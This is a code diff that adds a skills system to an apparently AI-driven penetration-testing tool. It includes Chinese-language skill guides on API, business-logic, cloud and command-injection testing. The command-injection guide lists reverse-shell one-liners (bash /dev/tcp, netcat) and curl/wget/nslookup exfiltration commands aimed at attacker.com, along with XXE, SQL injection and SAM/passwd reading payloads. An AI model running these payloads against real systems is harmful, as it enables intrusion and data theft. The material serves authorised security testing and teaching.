func (m *Manager) GetSkillContent(skillNames []string) (string, error) {
skills, err := m.LoadSkills(skillNames)
if err != nil {
return "", err
}
if len(skills) == 0 {
return "", nil
}
var builder strings.Builder
builder.WriteString("## 可用Skills\n\n")
builder.WriteString("在执行任务前,请仔细阅读以下skills内容,这些内容包含了相关的专业知识和方法:\n\n")
for _, skill := range skills {
builder.WriteString(fmt.Sprintf("### Skill: %s\n", skill.Name))
if skill.Description != "" {
builder.WriteString(fmt.Sprintf("**描述**: %s\n\n", skill.Description))
}
builder.WriteString(skill.Content)
builder.WriteString("\n\n---\n\n")
}
return builder.String(), nil
}
+201
View File
@@ -0,0 +1,201 @@
package skills
import (
"context"
"fmt"
"strings"
"time"
"cyberstrike-ai/internal/mcp"
"cyberstrike-ai/internal/mcp/builtin"
"go.uber.org/zap"
)
// RegisterSkillsTool 注册Skills工具到MCP服务器
func RegisterSkillsTool(
mcpServer *mcp.Server,
manager *Manager,
logger *zap.Logger,
) {
RegisterSkillsToolWithStorage(mcpServer, manager, nil, logger)
}
// RegisterSkillsToolWithStorage 注册Skills工具到MCP服务器(带存储支持)
func RegisterSkillsToolWithStorage(
mcpServer *mcp.Server,
manager *Manager,
storage SkillStatsStorage,
logger *zap.Logger,
) {
// 注册第一个工具:获取所有可用的skills列表
listSkillsTool := mcp.Tool{
Name: builtin.ToolListSkills,
Description: "获取所有可用的skills列表。Skills是专业知识文档,可以在执行任务前阅读以获取相关专业知识。使用此工具可以查看系统中所有可用的skills,然后使用read_skill工具读取特定skill的内容。",
ShortDescription: "获取所有可用的skills列表",
InputSchema: map[string]interface{}{
"type": "object",
"properties": map[string]interface{}{},
"required": []string{},
},
}
listSkillsHandler := func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
skills, err := manager.ListSkills()
if err != nil {
logger.Error("获取skills列表失败", zap.Error(err))
return &mcp.ToolResult{
Content: []mcp.Content{
{
Type: "text",
Text: fmt.Sprintf("获取skills列表失败: %v", err),
},
},
IsError: true,
}, nil
}
if len(skills) == 0 {
return &mcp.ToolResult{
Content: []mcp.Content{
{
Type: "text",
Text: "当前没有可用的skills。\n\nSkills是专业知识文档,可以在执行任务前阅读以获取相关专业知识。你可以在skills目录下创建新的skill。",
},
},
IsError: false,
}, nil
}
var result strings.Builder
result.WriteString(fmt.Sprintf("共有 %d 个可用的skills\n\n", len(skills)))
for i, skill := range skills {
result.WriteString(fmt.Sprintf("%d. %s\n", i+1, skill))
}
result.WriteString("\n使用 read_skill 工具可以读取特定skill的详细内容。\n")
result.WriteString("例如:read_skill(skill_name=\"sql-injection-testing\")")
return &mcp.ToolResult{
Content: []mcp.Content{
{
Type: "text",
Text: result.String(),
},
},
IsError: false,
}, nil
}
mcpServer.RegisterTool(listSkillsTool, listSkillsHandler)
logger.Info("注册skills列表工具成功")
// 注册第二个工具:读取特定skill的内容
readSkillTool := mcp.Tool{
Name: builtin.ToolReadSkill,
Description: "读取指定skill的详细内容。Skills是专业知识文档,包含测试方法、工具使用、最佳实践等。在执行相关任务前,可以调用此工具读取相关skill的内容,以获取专业知识和指导。",
ShortDescription: "读取指定skill的详细内容",
InputSchema: map[string]interface{}{
"type": "object",
"properties": map[string]interface{}{
"skill_name": map[string]interface{}{
"type": "string",
"description": "要读取的skill名称(必需)。可以使用list_skills工具获取所有可用的skill名称。",
},
},
"required": []string{"skill_name"},
},
}
readSkillHandler := func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
skillName, ok := args["skill_name"].(string)
if !ok || skillName == "" {
return &mcp.ToolResult{
Content: []mcp.Content{
{
Type: "text",
Text: "错误: skill_name 参数必需且不能为空。请使用list_skills工具获取所有可用的skill名称。",
},
},
IsError: true,
}, nil
}
skill, err := manager.LoadSkill(skillName)
failed := err != nil
now := time.Now()
// 记录调用统计
if storage != nil {
totalCalls := 1
successCalls := 0
failedCalls := 0
if failed {
failedCalls = 1
} else {
successCalls = 1
}
if err := storage.UpdateSkillStats(skillName, totalCalls, successCalls, failedCalls, &now); err != nil {
logger.Warn("保存Skills统计信息失败", zap.String("skill", skillName), zap.Error(err))
} else {
logger.Info("Skills统计信息已更新",
zap.String("skill", skillName),
zap.Int("totalCalls", totalCalls),
zap.Int("successCalls", successCalls),
zap.Int("failedCalls", failedCalls))
}
} else {
logger.Warn("Skills统计存储未配置,无法记录调用统计", zap.String("skill", skillName))
}
if err != nil {
logger.Warn("读取skill失败", zap.String("skill", skillName), zap.Error(err))
return &mcp.ToolResult{
Content: []mcp.Content{
{
Type: "text",
Text: fmt.Sprintf("读取skill失败: %v\n\n请使用list_skills工具确认skill名称是否正确。", err),
},
},
IsError: true,
}, nil
}
var result strings.Builder
result.WriteString(fmt.Sprintf("## Skill: %s\n\n", skill.Name))
if skill.Description != "" {
result.WriteString(fmt.Sprintf("**描述**: %s\n\n", skill.Description))
}
result.WriteString("---\n\n")
result.WriteString(skill.Content)
result.WriteString("\n\n---\n\n")
result.WriteString(fmt.Sprintf("*Skill路径: %s*", skill.Path))
return &mcp.ToolResult{
Content: []mcp.Content{
{
Type: "text",
Text: result.String(),
},
},
IsError: false,
}, nil
}
mcpServer.RegisterTool(readSkillTool, readSkillHandler)
logger.Info("注册skill读取工具成功")
}
// SkillStatsStorage Skills统计存储接口
type SkillStatsStorage interface {
UpdateSkillStats(skillName string, totalCalls, successCalls, failedCalls int, lastCallTime *time.Time) error
LoadSkillStats() (map[string]*SkillStats, error)
}
// SkillStats Skills统计信息
type SkillStats struct {
SkillName string
TotalCalls int
SuccessCalls int
FailedCalls int
LastCallTime *time.Time
}
+2
View File
@@ -17,4 +17,6 @@ tools:
- record_vulnerability
- list_knowledge_risk_types
- search_knowledge_base
- list_skills
- read_skill
enabled: true
+2
View File
@@ -30,4 +30,6 @@ tools:
- record_vulnerability
- list_knowledge_risk_types
- search_knowledge_base
- list_skills
- read_skill
enabled: true
+67
View File
@@ -0,0 +1,67 @@
# 角色配置文件说明
本目录包含所有角色配置文件,每个角色定义了AI的行为模式、可用工具和技能。
## 创建新角色
创建新角色时,请在 `roles/` 目录下创建 YAML 文件,格式如下:
**方式1:显式指定工具列表(推荐)**
```yaml
name: 角色名称
description: 角色描述
user_prompt: 用户提示词(追加到用户消息前,用于引导AI行为)
icon: "图标(可选)"
tools:
# 添加你需要的工具...
# ⚠️ 重要:建议包含以下5个内置MCP工具
- record_vulnerability
- list_knowledge_risk_types
- search_knowledge_base
- list_skills
- read_skill
enabled: true
```
**方式2:不设置tools字段(使用所有已开启的工具)**
```yaml
name: 角色名称
description: 角色描述
user_prompt: 用户提示词(追加到用户消息前,用于引导AI行为)
icon: "图标(可选)"
# 不设置tools字段,将默认使用所有MCP管理中已开启的工具
enabled: true
```
## ⚠️ 重要提醒:内置MCP工具
**如果设置了 `tools` 字段,请务必在列表中添加以下5个内置MCP工具:**
1. **`record_vulnerability`** - 漏洞管理工具,用于记录发现的漏洞
2. **`list_knowledge_risk_types`** - 知识库工具,列出可用的风险类型
3. **`search_knowledge_base`** - 知识库工具,搜索知识库内容
4. **`list_skills`** - Skills工具,列出可用的技能
5. **`read_skill`** - Skills工具,读取技能详情
这些内置工具是系统核心功能,建议所有角色都包含它们,以确保:
- 能够记录和管理发现的漏洞
- 能够访问知识库获取安全测试知识
- 能够查看和使用可用的安全测试技能
**注意**:如果不设置 `tools` 字段,系统会默认使用所有MCP管理中已开启的工具(包括这5个内置工具),但为了明确控制角色可用的工具范围,建议显式设置 `tools` 字段。
## 角色配置字段说明
- **name**: 角色名称(必填)
- **description**: 角色描述(必填)
- **user_prompt**: 用户提示词,会追加到用户消息前,用于引导AI采用特定的测试方法和关注点(可选)
- **icon**: 角色图标,支持Unicode emoji(可选)
- **tools**: 工具列表,指定该角色可用的工具(可选)
- **如果不设置 `tools` 字段**:默认会选中**全部MCP管理中已开启的工具**
- **如果设置了 `tools` 字段**:只使用列表中指定的工具(建议至少包含5个内置工具)
- **skills**: 技能列表,指定该角色关联的技能(可选)
- **enabled**: 是否启用该角色(必填,true/false)
## 示例
参考本目录下的其他角色文件,如 `渗透测试.yaml``Web应用扫描.yaml` 等。
+2
View File
@@ -22,4 +22,6 @@ tools:
- record_vulnerability
- list_knowledge_risk_types
- search_knowledge_base
- list_skills
- read_skill
enabled: true
+2
View File
@@ -16,4 +16,6 @@ tools:
- record_vulnerability
- list_knowledge_risk_types
- search_knowledge_base
- list_skills
- read_skill
enabled: true
+2
View File
@@ -28,4 +28,6 @@ tools:
- record_vulnerability
- list_knowledge_risk_types
- search_knowledge_base
- list_skills
- read_skill
enabled: true
+3 -1
View File
@@ -1,7 +1,7 @@
name: 云安全审计
description: 云安全审计专家,多云环境安全检测
user_prompt: 你是一个专业的云安全审计专家。请使用专业的云安全工具对AWS、Azure、GCP等云环境进行全面的安全审计,包括配置检查、合规性评估、权限审计、安全最佳实践验证等工作。
icon: "\U00002601"
icon:
tools:
- prowler
- scout-suite
@@ -14,4 +14,6 @@ tools:
- record_vulnerability
- list_knowledge_risk_types
- search_knowledge_base
- list_skills
- read_skill
enabled: true
+2
View File
@@ -28,4 +28,6 @@ tools:
- record_vulnerability
- list_knowledge_risk_types
- search_knowledge_base
- list_skills
- read_skill
enabled: true
+2
View File
@@ -20,4 +20,6 @@ tools:
- record_vulnerability
- list_knowledge_risk_types
- search_knowledge_base
- list_skills
- read_skill
enabled: true
+2
View File
@@ -15,4 +15,6 @@ tools:
- record_vulnerability
- list_knowledge_risk_types
- search_knowledge_base
- list_skills
- read_skill
enabled: true
+2
View File
@@ -21,4 +21,6 @@ tools:
- record_vulnerability
- list_knowledge_risk_types
- search_knowledge_base
- list_skills
- read_skill
enabled: true
+2
View File
@@ -30,4 +30,6 @@ tools:
- record_vulnerability
- list_knowledge_risk_types
- search_knowledge_base
- list_skills
- read_skill
enabled: true
+3 -1
View File
@@ -1,7 +1,7 @@
name: 综合漏洞扫描
description: 综合漏洞扫描专家,多类型漏洞检测
user_prompt: 你是一个专业的综合漏洞扫描专家。请使用各种漏洞扫描工具对目标进行全面的安全检测,包括Web漏洞、网络服务漏洞、配置缺陷等多种类型的漏洞识别和分析。
icon: "\U000026A0"
icon:
tools:
- nuclei
- nikto
@@ -20,4 +20,6 @@ tools:
- record_vulnerability
- list_knowledge_risk_types
- search_knowledge_base
- list_skills
- read_skill
enabled: true
+122
View File
@@ -0,0 +1,122 @@
# Skills 系统使用指南
## 概述
Skills系统允许你为角色配置专业知识和技能文档。当角色执行任务时,系统会自动将这些skills的内容注入到系统提示词中,帮助AI更好地理解和执行相关任务。
## Skills结构
每个skill是一个目录,包含一个`SKILL.md`文件:
```
skills/
├── sql-injection-testing/
│ └── SKILL.md
├── xss-testing/
│ └── SKILL.md
└── ...
```
## SKILL.md格式
SKILL.md文件支持YAML front matter格式(可选):
```markdown
---
name: skill-name
description: Skill的简短描述
version: 1.0.0
---
# Skill标题
这里是skill的详细内容,可以包含:
- 测试方法
- 工具使用
- 最佳实践
- 示例代码
- 等等...
```
如果不使用front matter,整个文件内容都会被作为skill内容。
## 在角色中配置Skills
在角色配置文件中添加`skills`字段:
```yaml
name: 渗透测试
description: 专业渗透测试专家
user_prompt: 你是一个专业的网络安全渗透测试专家...
tools:
- nmap
- sqlmap
- burpsuite
skills:
- sql-injection-testing
- xss-testing
enabled: true
```
`skills`字段是一个字符串数组,每个字符串是skill目录的名称。
## 工作原理
1. **加载阶段**:系统启动时,会扫描`skills_dir`目录下的所有skill
2. **执行阶段**:当使用某个角色执行任务时:
- 系统会加载该角色配置的所有skills
- 将skills内容合并并注入到系统提示词中
- AI在执行任务前会阅读这些skills内容
3. **按需调用**:即使角色没有配置skills,AI也可以通过以下工具按需调用:
- `list_skills`: 获取所有可用的skills列表
- `read_skill`: 读取指定skill的详细内容
这样AI可以在执行任务过程中,根据实际需要自主调用相关skills获取专业知识。
## 示例Skills
### sql-injection-testing
包含SQL注入测试的专业方法、工具使用、绕过技术等。
### xss-testing
包含XSS测试的各种类型、payload、绕过技术等。
## 创建自定义Skill
1.`skills`目录下创建新目录,例如`my-skill`
2. 在该目录下创建`SKILL.md`文件
3. 编写skill内容
4. 在角色配置中添加该skill名称
```bash
mkdir -p skills/my-skill
cat > skills/my-skill/SKILL.md << 'EOF'
---
name: my-skill
description: 我的自定义技能
---
# 我的自定义技能
这里是技能内容...
EOF
```
## 注意事项
- Skill内容会被注入到系统提示词中,注意控制长度避免超过token限制
- Skill内容应该清晰、结构化,便于AI理解
- 可以包含代码示例、命令示例等
- 建议每个skill专注于一个特定领域或技能
## 配置
`config.yaml`中配置skills目录:
```yaml
skills_dir: skills # 相对于配置文件所在目录
```
如果未配置,默认使用`skills`目录。
+287
View File
@@ -0,0 +1,287 @@
---
name: api-security-testing
description: API安全测试的专业技能和方法论
version: 1.0.0
---
# API安全测试
## 概述
API安全测试是确保API接口安全性的重要环节。本技能提供API安全测试的方法、工具和最佳实践。
## 测试范围
### 1. 认证和授权
**测试项目:**
- Token有效性验证
- Token过期处理
- 权限控制
- 角色权限验证
### 2. 输入验证
**测试项目:**
- 参数类型验证
- 数据长度限制
- 特殊字符处理
- SQL注入防护
- XSS防护
### 3. 业务逻辑
**测试项目:**
- 工作流验证
- 状态转换
- 并发控制
- 业务规则
### 4. 错误处理
**测试项目:**
- 错误信息泄露
- 堆栈跟踪
- 敏感信息暴露
## 测试方法
### 1. API发现
**识别API端点:**
```bash
# 使用目录扫描
gobuster dir -u https://target.com -w api-wordlist.txt
# 使用Burp Suite被动扫描
# 浏览应用,观察API调用
# 分析JavaScript文件
# 查找API端点定义
```
### 2. 认证测试
**Token测试:**
```http
# Token
GET /api/user
Authorization: Bearer invalid_token
# Token
GET /api/user
Authorization: Bearer expired_token
# Token
GET /api/user
```
**JWT测试:**
```bash
# 使用jwt_tool
python jwt_tool.py <JWT_TOKEN>
# 测试算法混淆
python jwt_tool.py <JWT_TOKEN> -X a
# 测试密钥暴力破解
python jwt_tool.py <JWT_TOKEN> -C -d wordlist.txt
```
### 3. 授权测试
**水平权限:**
```http
# A访B
GET /api/user/123
Authorization: Bearer user_a_token
# 403
```
**垂直权限:**
```http
# 访
GET /api/admin/users
Authorization: Bearer user_token
# 403
```
### 4. 输入验证测试
**SQL注入:**
```http
POST /api/search
{
"query": "test' OR '1'='1"
}
```
**命令注入:**
```http
POST /api/execute
{
"command": "ping; id"
}
```
**XXE**
```http
POST /api/parse
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
```
### 5. 速率限制测试
**测试速率限制:**
```python
import requests
for i in range(1000):
response = requests.get('https://target.com/api/endpoint')
print(f"Request {i}: {response.status_code}")
```
## 工具使用
### Postman
**创建测试集合:**
1. 导入API文档
2. 设置认证
3. 创建测试用例
4. 运行自动化测试
### Burp Suite
**API扫描:**
1. 配置API端点
2. 设置认证
3. 运行主动扫描
4. 分析结果
### OWASP ZAP
```bash
# API扫描
zap-cli quick-scan --self-contained \
--start-options '-config api.disablekey=true' \
http://target.com/api
```
### REST-Attacker
```bash
# 扫描OpenAPI规范
rest-attacker scan openapi.yaml
```
## 常见漏洞
### 1. 认证绕过
**Token验证缺陷:**
- 弱Token生成
- Token可预测
- Token不验证签名
### 2. 权限提升
**IDOR**
- 直接对象引用
- 未验证资源所有权
### 3. 信息泄露
**错误信息:**
- 详细错误信息
- 堆栈跟踪
- 敏感数据
### 4. 注入漏洞
**常见注入:**
- SQL注入
- NoSQL注入
- 命令注入
- XXE
### 5. 业务逻辑
**逻辑缺陷:**
- 价格操作
- 数量限制绕过
- 状态修改
## 测试清单
### 认证测试
- [ ] Token有效性验证
- [ ] Token过期处理
- [ ] 弱Token检测
- [ ] Token重放攻击
### 授权测试
- [ ] 水平权限测试
- [ ] 垂直权限测试
- [ ] 角色权限验证
- [ ] 资源访问控制
### 输入验证
- [ ] SQL注入测试
- [ ] XSS测试
- [ ] 命令注入测试
- [ ] XXE测试
- [ ] 参数污染
### 业务逻辑
- [ ] 工作流验证
- [ ] 状态转换
- [ ] 并发控制
- [ ] 业务规则
### 错误处理
- [ ] 错误信息泄露
- [ ] 堆栈跟踪
- [ ] 敏感信息暴露
## 防护措施
### 推荐方案
1. **认证**
- 使用强Token
- 实现Token刷新
- 验证Token签名
2. **授权**
- 基于角色的访问控制
- 资源所有权验证
- 最小权限原则
3. **输入验证**
- 参数类型验证
- 数据长度限制
- 白名单验证
4. **错误处理**
- 统一错误响应
- 不泄露详细信息
- 记录错误日志
5. **速率限制**
- 实现API限流
- 防止暴力破解
- 监控异常请求
## 注意事项
- 仅在授权测试环境中进行
- 避免对API造成影响
- 注意不同API版本的差异
- 测试时注意请求频率
+402
View File
@@ -0,0 +1,402 @@
---
name: business-logic-testing
description: 业务逻辑漏洞测试的专业技能和方法论
version: 1.0.0
---
# 业务逻辑漏洞测试
## 概述
业务逻辑漏洞是应用程序在业务处理流程中的设计缺陷,可能导致未授权操作、数据篡改、资金损失等。本技能提供业务逻辑漏洞的检测、利用和防护方法。
## 漏洞类型
### 1. 工作流绕过
**跳过验证步骤:**
- 直接访问最终步骤
- 修改步骤顺序
- 重复执行步骤
### 2. 价格操作
**负数价格:**
- 输入负数金额
- 导致账户余额增加
**价格篡改:**
- 修改前端价格
- 修改API请求中的价格
### 3. 数量限制绕过
**负数数量:**
- 输入负数
- 可能导致库存增加
**超出限制:**
- 修改数量限制
- 批量操作绕过
### 4. 时间竞争
**并发请求:**
- 同时发送多个请求
- 绕过单次限制
### 5. 状态操作
**状态回退:**
- 将已完成订单改为待支付
- 修改订单状态
## 测试方法
### 1. 工作流分析
**识别业务流程:**
- 注册流程
- 购买流程
- 提现流程
- 审核流程
**测试步骤跳过:**
```
正常流程: 步骤1 → 步骤2 → 步骤3
测试: 直接访问步骤3
测试: 步骤1 → 步骤3(跳过步骤2)
```
### 2. 参数篡改
**修改关键参数:**
```http
POST /api/purchase
{
"product_id": 123,
"quantity": 1,
"price": 100.00 # 0.01
}
```
**负数测试:**
```json
{
"quantity": -1,
"price": -100.00
}
```
### 3. 并发测试
**同时发送请求:**
```python
import threading
import requests
def purchase():
requests.post('https://target.com/api/purchase',
json={'product_id': 123, 'quantity': 1})
# 同时发送10个请求
for i in range(10):
threading.Thread(target=purchase).start()
```
### 4. 状态修改
**修改订单状态:**
```http
PATCH /api/order/123
{
"status": "completed" #
}
```
**回退状态:**
```http
PATCH /api/order/123
{
"status": "pending" # 退
}
```
## 利用技术
### 价格操作
**负数价格:**
```json
{
"product_id": 123,
"price": -100.00,
"quantity": 1
}
```
**修改前端价格:**
```javascript
// 前端代码
const price = 100.00;
// 修改为
const price = 0.01;
```
**API价格修改:**
```http
POST /api/checkout
{
"items": [
{
"product_id": 123,
"price": 0.01, # 100.00
"quantity": 1
}
]
}
```
### 数量限制绕过
**负数数量:**
```json
{
"product_id": 123,
"quantity": -10 #
}
```
**超出限制:**
```json
{
"product_id": 123,
"quantity": 999999 #
}
```
### 优惠券滥用
**重复使用:**
```http
POST /api/checkout
{
"coupon": "DISCOUNT50",
"items": [...]
}
# 使
```
**未激活优惠券:**
```http
POST /api/checkout
{
"coupon": "EXPIRED_COUPON", # 使
"items": [...]
}
```
### 提现漏洞
**负数提现:**
```json
{
"amount": -1000.00 #
}
```
**超出余额:**
```json
{
"amount": 999999.00 #
}
```
### 时间竞争
**并发购买:**
```python
import threading
import requests
def buy():
requests.post('https://target.com/api/purchase',
json={'product_id': 123, 'quantity': 1})
# 限时抢购,并发请求
for i in range(100):
threading.Thread(target=buy).start()
```
## 绕过技术
### 前端验证绕过
**直接调用API**
- 绕过前端JavaScript验证
- 直接发送API请求
**修改请求:**
- 使用Burp Suite拦截
- 修改参数后发送
### 状态码分析
**观察响应:**
- 200 OK - 可能成功
- 400 Bad Request - 参数错误
- 403 Forbidden - 权限不足
- 500 Internal Server Error - 服务器错误
### 错误信息利用
**从错误信息获取信息:**
```
错误: "余额不足,当前余额: 100.00"
→ 可以获取账户余额信息
```
## 工具使用
### Burp Suite
**使用Repeater**
1. 拦截业务请求
2. 修改关键参数
3. 观察响应
**使用Intruder**
1. 标记参数
2. 使用Payload列表
3. 批量测试
### 自定义脚本
```python
import requests
import json
def test_price_manipulation():
# 测试价格修改
for price in [0.01, -100, 0, 999999]:
data = {
"product_id": 123,
"price": price,
"quantity": 1
}
response = requests.post('https://target.com/api/purchase',
json=data)
print(f"Price {price}: {response.status_code}")
test_price_manipulation()
```
## 验证和报告
### 验证步骤
1. 确认可以绕过业务逻辑限制
2. 验证可以执行未授权操作
3. 评估影响(资金损失、数据篡改等)
4. 记录完整的POC
### 报告要点
- 漏洞位置和业务流程
- 可执行的未授权操作
- 完整的利用步骤和PoC
- 修复建议(服务端验证、业务规则检查等)
## 防护措施
### 推荐方案
1. **服务端验证**
```python
def process_purchase(product_id, quantity, price):
# 从数据库获取真实价格
real_price = db.get_product_price(product_id)
# 验证价格
if price != real_price:
raise ValueError("Price mismatch")
# 验证数量
if quantity <= 0:
raise ValueError("Invalid quantity")
# 处理购买
process_order(product_id, quantity, real_price)
```
2. **状态机验证**
```python
class OrderState:
PENDING = "pending"
PAID = "paid"
SHIPPED = "shipped"
COMPLETED = "completed"
TRANSITIONS = {
PENDING: [PAID],
PAID: [SHIPPED],
SHIPPED: [COMPLETED]
}
def can_transition(self, from_state, to_state):
return to_state in self.TRANSITIONS.get(from_state, [])
```
3. **并发控制**
```python
import threading
lock = threading.Lock()
def process_order(order_id):
with lock:
# 检查订单状态
order = db.get_order(order_id)
if order.status != 'pending':
raise ValueError("Order already processed")
# 处理订单
process(order)
```
4. **业务规则验证**
```python
def validate_business_rules(order):
# 验证数量限制
if order.quantity > MAX_QUANTITY:
raise ValueError("Quantity exceeds limit")
# 验证价格范围
if order.price <= 0:
raise ValueError("Invalid price")
# 验证库存
if order.quantity > get_stock(order.product_id):
raise ValueError("Insufficient stock")
```
5. **审计日志**
```python
def log_business_action(user_id, action, details):
log_entry = {
"user_id": user_id,
"action": action,
"details": details,
"timestamp": datetime.now()
}
db.log_action(log_entry)
```
## 注意事项
- 仅在授权测试环境中进行
- 避免对业务造成实际影响
- 注意不同业务流程的差异
- 测试时注意数据一致性
+343
View File
@@ -0,0 +1,343 @@
---
name: cloud-security-audit
description: 云安全审计的专业技能和方法论
version: 1.0.0
---
# 云安全审计
## 概述
云安全审计是评估云环境安全性的重要环节。本技能提供云安全审计的方法、工具和最佳实践,涵盖AWS、Azure、GCP等主流云平台。
## 审计范围
### 1. 身份和访问管理
**检查项目:**
- IAM策略配置
- 用户权限
- 角色权限
- 访问密钥管理
### 2. 网络安全
**检查项目:**
- 安全组配置
- 网络ACL
- VPC配置
- 流量加密
### 3. 数据安全
**检查项目:**
- 数据加密
- 密钥管理
- 备份策略
- 数据分类
### 4. 合规性
**检查项目:**
- 合规框架
- 审计日志
- 监控告警
- 事件响应
## AWS安全审计
### IAM审计
**检查IAM策略:**
```bash
# 列出所有IAM用户
aws iam list-users
# 列出所有IAM策略
aws iam list-policies
# 检查用户权限
aws iam list-user-policies --user-name username
aws iam list-attached-user-policies --user-name username
# 检查角色权限
aws iam list-role-policies --role-name rolename
```
**常见问题:**
- 过度权限
- 未使用的访问密钥
- 密码策略弱
- MFA未启用
### S3安全审计
**检查S3存储桶:**
```bash
# 列出所有存储桶
aws s3 ls
# 检查存储桶策略
aws s3api get-bucket-policy --bucket bucketname
# 检查存储桶ACL
aws s3api get-bucket-acl --bucket bucketname
# 检查存储桶加密
aws s3api get-bucket-encryption --bucket bucketname
```
**常见问题:**
- 公开访问
- 未加密
- 版本控制未启用
- 日志记录未启用
### 安全组审计
**检查安全组:**
```bash
# 列出所有安全组
aws ec2 describe-security-groups
# 检查开放端口
aws ec2 describe-security-groups --group-ids sg-xxx
```
**常见问题:**
- 0.0.0.0/0开放
- 不必要的端口开放
- 规则过于宽松
### CloudTrail审计
**检查审计日志:**
```bash
# 列出所有跟踪
aws cloudtrail describe-trails
# 检查日志文件完整性
aws cloudtrail get-trail-status --name trailname
```
## Azure安全审计
### 订阅和资源组
**检查订阅:**
```bash
# 列出所有订阅
az account list
# 检查资源组
az group list
```
### 网络安全组
**检查NSG**
```bash
# 列出所有NSG
az network nsg list
# 检查NSG规则
az network nsg rule list --nsg-name nsgname --resource-group rgname
```
### 存储账户
**检查存储账户:**
```bash
# 列出所有存储账户
az storage account list
# 检查访问策略
az storage account show --name accountname --resource-group rgname
```
## GCP安全审计
### 项目和组织
**检查项目:**
```bash
# 列出所有项目
gcloud projects list
# 检查IAM策略
gcloud projects get-iam-policy project-id
```
### 计算引擎
**检查实例:**
```bash
# 列出所有实例
gcloud compute instances list
# 检查防火墙规则
gcloud compute firewall-rules list
```
### 存储
**检查存储桶:**
```bash
# 列出所有存储桶
gsutil ls
# 检查存储桶权限
gsutil iam get gs://bucketname
```
## 自动化工具
### Scout Suite
```bash
# AWS审计
scout aws
# Azure审计
scout azure
# GCP审计
scout gcp
```
### Prowler
```bash
# AWS安全审计
prowler -c check11,check12,check13
# 完整审计
prowler
```
### CloudSploit
```bash
# 扫描AWS账户
cloudsploit scan aws
# 扫描Azure订阅
cloudsploit scan azure
```
### Pacu
```bash
# AWS渗透测试框架
pacu
```
## 审计清单
### IAM安全
- [ ] 检查用户权限
- [ ] 检查角色权限
- [ ] 检查访问密钥
- [ ] 检查密码策略
- [ ] 检查MFA启用情况
### 网络安全
- [ ] 检查安全组/NSG规则
- [ ] 检查VPC配置
- [ ] 检查网络ACL
- [ ] 检查流量加密
### 数据安全
- [ ] 检查数据加密
- [ ] 检查密钥管理
- [ ] 检查备份策略
- [ ] 检查数据分类
### 合规性
- [ ] 检查审计日志
- [ ] 检查监控告警
- [ ] 检查事件响应
- [ ] 检查合规框架
## 常见安全问题
### 1. 过度权限
**问题:**
- IAM策略过于宽松
- 用户拥有管理员权限
- 角色权限过大
**修复:**
- 最小权限原则
- 定期审查权限
- 使用IAM策略模拟
### 2. 公开资源
**问题:**
- S3存储桶公开
- 安全组开放0.0.0.0/0
- 数据库公开访问
**修复:**
- 限制访问范围
- 使用私有网络
- 启用访问控制
### 3. 未加密数据
**问题:**
- 存储未加密
- 传输未加密
- 密钥管理不当
**修复:**
- 启用加密
- 使用TLS/SSL
- 使用密钥管理服务
### 4. 日志缺失
**问题:**
- 未启用审计日志
- 日志未保留
- 日志未监控
**修复:**
- 启用CloudTrail/Azure Monitor
- 设置日志保留策略
- 配置监控告警
## 最佳实践
### 1. 最小权限
- 只授予必要权限
- 定期审查权限
- 使用IAM策略模拟
### 2. 多层防护
- 网络层防护
- 应用层防护
- 数据层防护
### 3. 监控和告警
- 启用审计日志
- 配置监控告警
- 建立事件响应流程
### 4. 合规性
- 遵循合规框架
- 定期安全审计
- 文档化安全策略
## 注意事项
- 仅在授权环境中进行审计
- 避免对生产环境造成影响
- 注意不同云平台的差异
- 定期进行安全审计
+302
View File
@@ -0,0 +1,302 @@
---
name: command-injection-testing
description: 命令注入漏洞测试的专业技能和方法论
version: 1.0.0
---
# 命令注入漏洞测试
## 概述
命令注入是一种通过应用程序执行系统命令的漏洞。当应用程序将用户输入直接传递给系统命令时,攻击者可以执行任意命令。本技能提供命令注入的检测、利用和防护方法。
## 漏洞原理
应用程序调用系统命令时,未对用户输入进行充分验证和过滤,导致攻击者可以注入额外的命令。
**危险代码示例:**
```php
// PHP
system("ping " . $_GET['ip']);
// Python
os.system("ping " + user_input)
// Node.js
child_process.exec("ping " + user_input)
```
## 测试方法
### 1. 识别命令执行点
**常见功能:**
- Ping功能
- DNS查询
- 文件操作
- 系统信息
- 日志查看
- 备份恢复
### 2. 基础检测
**测试命令分隔符:**
```
; # 命令分隔符(Linux/Windows
& # 后台执行(Linux/Windows
| # 管道符(Linux/Windows
&& # 逻辑与(Linux/Windows
|| # 逻辑或(Linux/Windows
` # 命令替换(Linux
$() # 命令替换(Linux
```
**测试Payload**
```
127.0.0.1; id
127.0.0.1 && whoami
127.0.0.1 | cat /etc/passwd
127.0.0.1 `whoami`
127.0.0.1 $(whoami)
```
### 3. 盲命令注入
**时间延迟检测:**
```
127.0.0.1; sleep 5
127.0.0.1 && sleep 5
127.0.0.1 | sleep 5
```
**外带数据:**
```
127.0.0.1; curl http://attacker.com/?$(whoami)
127.0.0.1 && wget http://attacker.com/$(cat /etc/passwd)
```
**DNS外带:**
```
127.0.0.1; nslookup $(whoami).attacker.com
```
## 利用技术
### 基础命令执行
**Linux**
```
; id
; whoami
; uname -a
; cat /etc/passwd
; ls -la
```
**Windows**
```
& whoami
& ipconfig
& type C:\Windows\System32\drivers\etc\hosts
& dir
```
### 文件操作
**读取文件:**
```
; cat /etc/passwd
; type C:\Windows\System32\config\sam
; head -n 20 /var/log/apache2/access.log
```
**写入文件:**
```
; echo "<?php phpinfo(); ?>" > /tmp/shell.php
; echo "test" > C:\temp\test.txt
```
### 反弹Shell
**Bash**
```
; bash -i >& /dev/tcp/attacker.com/4444 0>&1
```
**Netcat**
```
; nc -e /bin/bash attacker.com 4444
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker.com 4444 >/tmp/f
```
**PowerShell**
```
